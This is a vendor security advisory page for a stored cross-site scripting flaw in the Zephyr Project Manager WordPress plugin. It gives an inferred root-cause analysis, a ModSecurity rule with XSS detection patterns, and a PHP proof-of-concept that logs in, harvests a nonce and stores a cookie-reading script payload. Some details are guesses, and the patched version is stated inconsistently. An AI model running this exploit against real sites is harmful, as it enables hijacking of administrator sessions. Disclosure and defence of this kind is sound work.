Published : December 1, 2026

CVE-2026-125037: Zephyr Project Manager <= 3.3.210 Authenticated (Subscriber+) Stored DOM-Based Cross-Site Scripting via 'attachments[0][attachment_id]' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 3.3.210
Patched Version —
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-125037 (metadata-based): CVE-2026-125037 is an authenticated (Subscriber+) stored DOM-based cross-site scripting vulnerability in the Zephyr Project Manager WordPress plugin, affecting all versions up to and including 3.3.210. The flaw resides in the handling of the ‘attachments[0][attachment_id]’ parameter. A subscriber-level user can inject arbitrary web scripts that execute when a victim (typically an administrator) accesses an injected page. The CVSS score is 5.4 (Medium). The vulnerability requires user interaction because the attacker cannot trigger execution on their own; an administrator must view the compromised page.

Root Cause: The CWE classification (CWE-79: Improper Neutralization of Input During Web Page Generation) confirms that the plugin fails to sanitize input and escape output for the ‘attachments[0][attachment_id]’ parameter. Based on the description, the injection point is the zpm_messages database table. The plugin writes the unsanitized attachment ID into that table (likely via a message creation or task comment function) and later renders it in a frontend or admin view without proper HTML encoding. The bypass of per-project and per-task authorization checks via an empty ‘subject’ parameter further indicates that the validation logic is improperly coupled to the subject field. Additionally, the required zpm_nonce is exposed on any public page that renders a Zephyr shortcode such as [zpm_user_overview], making the nonce trivially obtainable by an authenticated attacker. These conclusions are inferred from the CVE description and CWE classification, not from a code diff.

Exploitation: An attacker with subscriber-level credentials first visits a public page containing a Zephyr shortcode (e.g., [zpm_user_overview]) to harvest the zpm_nonce value from the page source. The attacker then submits a crafted POST request to the plugin’s message-handling endpoint (likely via admin-ajax.php with a Zephyr-specific action) containing ‘attachments[0][attachment_id]’ set to a JavaScript payload such as ‘”>alert(document.cookie)’, an empty ‘subject’ parameter to bypass project/task authorization checks, and the harvested nonce. The payload is stored in the zpm_messages table. When an administrator later views the message or task page that renders the stored attachment ID, the script executes in the administrator’s browser context. The attacker cannot trigger execution directly; an administrator action is required.

Remediation: The fix likely requires sanitizing the ‘attachments[0][attachment_id]’ input on save (e.g., casting to integer or using sanitize_text_field) and escaping the value on output (e.g., esc_attr or esc_html) when rendering messages. Additionally, the authorization logic should not be bypassable by manipulating the ‘subject’ parameter. The nonce exposure on public pages should be re-evaluated, and nonces should be tied to the specific action and user context. Version 3.3.300 contains the patch.

Impact: Successful exploitation allows a low-privileged authenticated user to execute arbitrary JavaScript in the context of an administrator’s session. This can lead to session hijacking, privilege escalation (by creating new admin accounts), data exfiltration, or full site compromise. The CVSS vector (S:C) indicates a scope change, meaning the vulnerable component impacts resources beyond its security scope. The confidentiality and integrity impacts are low, and availability is not affected.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-125037 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261250,phase:2,deny,status:403,chain,msg:'CVE-2026-125037 via Zephyr Project Manager AJAX action',severity:'CRITICAL',tag:'CVE-2026-125037'"
  SecRule ARGS_POST:action "@streq zpm_send_message" "chain"
    SecRule ARGS_POST:attachments 
      "@rx attachments[0][attachment_id]" 
      "t:urlDecode,t:lowercase,chain"
      SecRule ARGS_POST:attachments 
        "@rx <script|onerror=|onload=|javascript:" 
        "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-125037 - Zephyr Project Manager <= 3.3.210 - Authenticated (Subscriber+) Stored DOM-Based XSS via 'attachments[0][attachment_id]' Parameter

$target_url = 'http://example.com'; // Configure me
$username = 'subscriber';
$password = 'password';

$cookie_jar = tempnam(sys_get_temp_dir(), 'cookies');

function http_request($url, $method = 'GET', $data = null, $cookies = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    }
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return ['body' => $response, 'code' => $http_code];
}

// Step 1: Log in as subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = ['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $target_url . '/wp-admin/', 'testcookie' => '1'];
$resp = http_request($login_url, 'POST', $login_data, $cookie_jar);
if (strpos($resp['body'], 'Dashboard') === false) {
    die("Login failed.n");
}
echo "Logged in.n";

// Step 2: Fetch a public page containing a Zephyr shortcode to extract zpm_nonce
// We assume the page exists at /zephyr-overview/ and contains [zpm_user_overview]
$shortcode_page = $target_url . '/zephyr-overview/';
$resp = http_request($shortcode_page, 'GET', null, $cookie_jar);
if (!preg_match('/zpm_nonce["']?s*[:=]s*["']([a-f0-9]+)["']/i', $resp['body'], $matches)) {
    die("Could not extract zpm_nonce. Check shortcode page.n");
}
$nonce = $matches[1];
echo "Extracted nonce: $noncen";

// Step 3: Craft payload
$payload = '"><script>alert(document.cookie)</script>';
$post_data = [
    'action' => 'zpm_send_message', // Assumed AJAX action based on plugin naming conventions
    'zpm_nonce' => $nonce,
    'subject' => '', // Empty subject bypasses per-project/task auth checks
    'message' => 'test',
    'attachments' => [
        0 => [
            'attachment_id' => $payload
        ]
    ]
];

// Step 4: Send exploit request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$resp = http_request($ajax_url, 'POST', $post_data, $cookie_jar);
echo "Exploit sent. Response code: {$resp['code']}n";
echo "Response body: {$resp['body']}n";

// Step 5: Administrator must view the injected page for execution
// The stored payload resides in the zpm_messages table and will render when an admin views the message.
// The attacker cannot trigger execution; an admin action is required.

unlink($cookie_jar);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.